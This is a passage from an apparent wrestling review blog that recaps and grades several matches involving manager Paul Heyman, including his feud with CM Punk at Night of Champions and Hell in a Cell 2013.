We get out first table of the night (that has to be a record for ECW as the show is almost over) as Heyman dances around the ring and calls himself the Messiah. Show lifts Sabu up into a gorilla press position to put him through the table on the floor, but of course he holds him just long enough for RVD to come out for the save. Van Daminator takes down Big Show and it’s kicks for the Bashams.

Sabu finally gets his hands on Heyman and destroys him for a bit, even hitting the Arabian Facebuster. Sabu and Van Dam put Heyman on the table but Big Show pulls Sabu out of the air on the dive attempt. That’s always cool to see. Cue run-in #5 (I’ve lost count) in the form of Hardcore Holly. He hits the Alabama Slam to Van Dam through the table as Show hits that walking legdrop thing, giving Heyman the pin.

Rating: C-. This is more ECW’s style: a totally mindless and insane brawl with massive carnage. It was clear what they were going for as soon as they said Extreme Rules, but that’s ok here. They had to do something to keep this from being Heyman getting killed for eight minutes, and having all these people come out allows for more stories to be advanced. Not a good match or anything but it was fun in an insane sort of way.

We’ll jump ahead again to Night of Champions 2013 as CM Punk FINALLY gets his hands on former partner Paul Heyman.

Paul Heyman/Curtis Axel vs. CM Punk

No DQ and it’s under elimination rules. Heyman of course hides on the floor as the other guys swing kendo sticks at each other. Axel gets in a shot but Punk comes back with a series of his own to take over. Curtis gets knocked down and Punk dives through the ropes to get at Heyman. Paul is taken into the ring and put in a chinlock before Punk picks up the stick. CM takes too long though and a low blow drops Punk. Curtis pounds away and gets in some stick shots to the back.

The beating continues as Heyman does Brock’s bounce on the floor. The fans still want tables but they get chops and forearms from Punk instead. Axel hits a clothesline to the back of the head for two and it’s table time, making Curtis the most over guy in the arena for a split second. The table is set up in the corner but Punk blocks a suplex through the table, only to have Axel do the same. Axel takes Punk down again and we hit another chinlock.

Punk fights up and sends Curtis into a chair in the corner, knocking Axel to the floor. Back in and Punk hits his swinging neckbreaker and the knee into the corner. Axel rolls away before the Macho Elbow and gets in a chair shot for two. The lone boring chant is blocked out by a Punk chant as Axel gets two off a neckbreaker of his own. Heyman shouts that Axel is better than Punk as Curtis strolls around the ring. More kendo stick shots to Punk’s back get two but Punk counters the neckbreaker into the cutter into the GTS. The Anaconda Vice gets the tap out at 10:40 to get us down to Punk vs. Heyman.

Punk wisely keeps the hold on to knock Axel out even more before going after Heyman. Heyman slowly walks around the ring before running up the ramp, only to go into the crowd and back to ringside. Punk catches him in the ring and pulls on Heyman’s ears and nose. Punk gets the stick but Heyman hugs him. The smile on Punk’s face is rather creepy as he canes Heyman down. Heyman: “OH THAT HURTS!” Punk pounds away before calling for the GTS. He’s not ready yet though as he pulls out the handcuffs from his boot, just like Heyman used on him for the big beating a few weeks ago.

Heyman tries to tap out but the fans think this is awesome. Heyman begs for mercy, making it even better. Punk hits him very slowly with the stick and says to remember that it was him doing this to Paul. Heyman tries to tap with his foot so Punk promises to break Paul’s face. Cue Ryback to drive Punk through the table, slicing Punk’s back open in a scary looking visual. Heyman is placed on top for the pin at 1 5:56.

Rating: B-. This was exactly what it was supposed to be: Punk getting some revenge, only to have Heyman debut his new guy to give Punk a real challenge next month at Battleground. At the end of the day, Axel just isn’t competition for CM Punk and everyone knew it. Ryback isn’t a huge star, but he’s a much bigger deal than Axel and gives Punk a much better challenge. Good choice here and the perfect booking.

The feud with Punk continued at Hell in a Cell 2013, but first up is a warmup match on Smackdown, October 25, 2013.

Ryback/Paul Heyman vs. CM Skunk

You read the name right. This is No DQ as a preview for Sunday. Heyman says this will be a demonstration of the teamwork you’ll see inside the Cell on Sunday. Skunk comes out to Punk’s music and in a black hoodie but the fans quickly catch on to the joke. He has a skunk stripe painted into his hair. Ryback destroys him with the ease you would expect and hits two powerbombs in a row. Heyman pulls a kendo stick out from under the ring and hits about twenty shots to Skunk’s back. Shell Shock ends Skunk with Heyman getting the pin at 2:42.

Another chance for Punk at Hell in a Cell 2013. Yes this is a stretch.

CM Punk vs. Ryback/Paul Heyman

And there’s no Heyman. Ryback gets in the Cell before pointing towards the entrance where Heyman rides out on a cart. It’s actually a lift which takes Paul up to the top of the Cell with Heyman talking about how he’s risen from the depths and ascended to the top of the world. The fans are all over Paul as Punk pounds away on Ryback and knocks him out to the floor. Now the fans chant for CM after he hits a suicide dive to send Ryback into the Cell wall. It’s kendo stick time but Ryback drives Punk’s spine into the steel to stop him.

Ryback blasts Punk with the stick and takes him back inside to beat Punk down even more. Punk’s back is targeted with a reverse waistlock before Punk fights free and low bridges Ryback out to the floor. A forearm off the top puts Ryback down again and it’s table time. Punk can’t get it set up though and Ryback suplexes him back first into the Cell wall. Back in and a belly to back suplex gets two more as we hit the reverse waistlock again. Punk fights out again and hits a spinning cross body for two followed by the running knee in the corner.

Some kendo stick shots drop the big man and there’s the Macho Elbow for two. More stick shots keep Ryback down and now the table is set up in the ring. It falls onto its side though, allowing Ryback to crotch Punk on the side. The Meat Hook is good for two but Punk hits him low to block the Shell Shock. Ryback lays on the table for no apparent reason, allowing Punk to drop another Macho Elbow for no cover. Instead a cane to Ryback’s head sets up the GTS for the pin at 13:55.

Rating: C-. If this had been a regular match it would have been fine, but it was inside the Cell which means it has a higher standard. Putting Heyman out of the match was probably the best idea, but there really wasn’t much to this that made me care. Punk beating Ryback in a hardcore match is nothing special, but it certainly wasn’t a terrible match. The Cell was a prop here though, which is what I hate about this show.

Post match Punk climbs up after Heyman while carrying the kendo stick. The beating begins and Punk wears him out before hitting the GTS to end the feud. Not exactly a huge spot but it’s as good as we’re going to get I guess.

Paul Heyman is a manager instead of a wrestler, but at the same time he’s a guy that is going to be able to talk a lot, get his client in trouble, then often take part of the beating to end the feud. That’s Bobby Heenan 101 and it’s never going to fail. He’s become one of the best managers of all time and the guy is just great.

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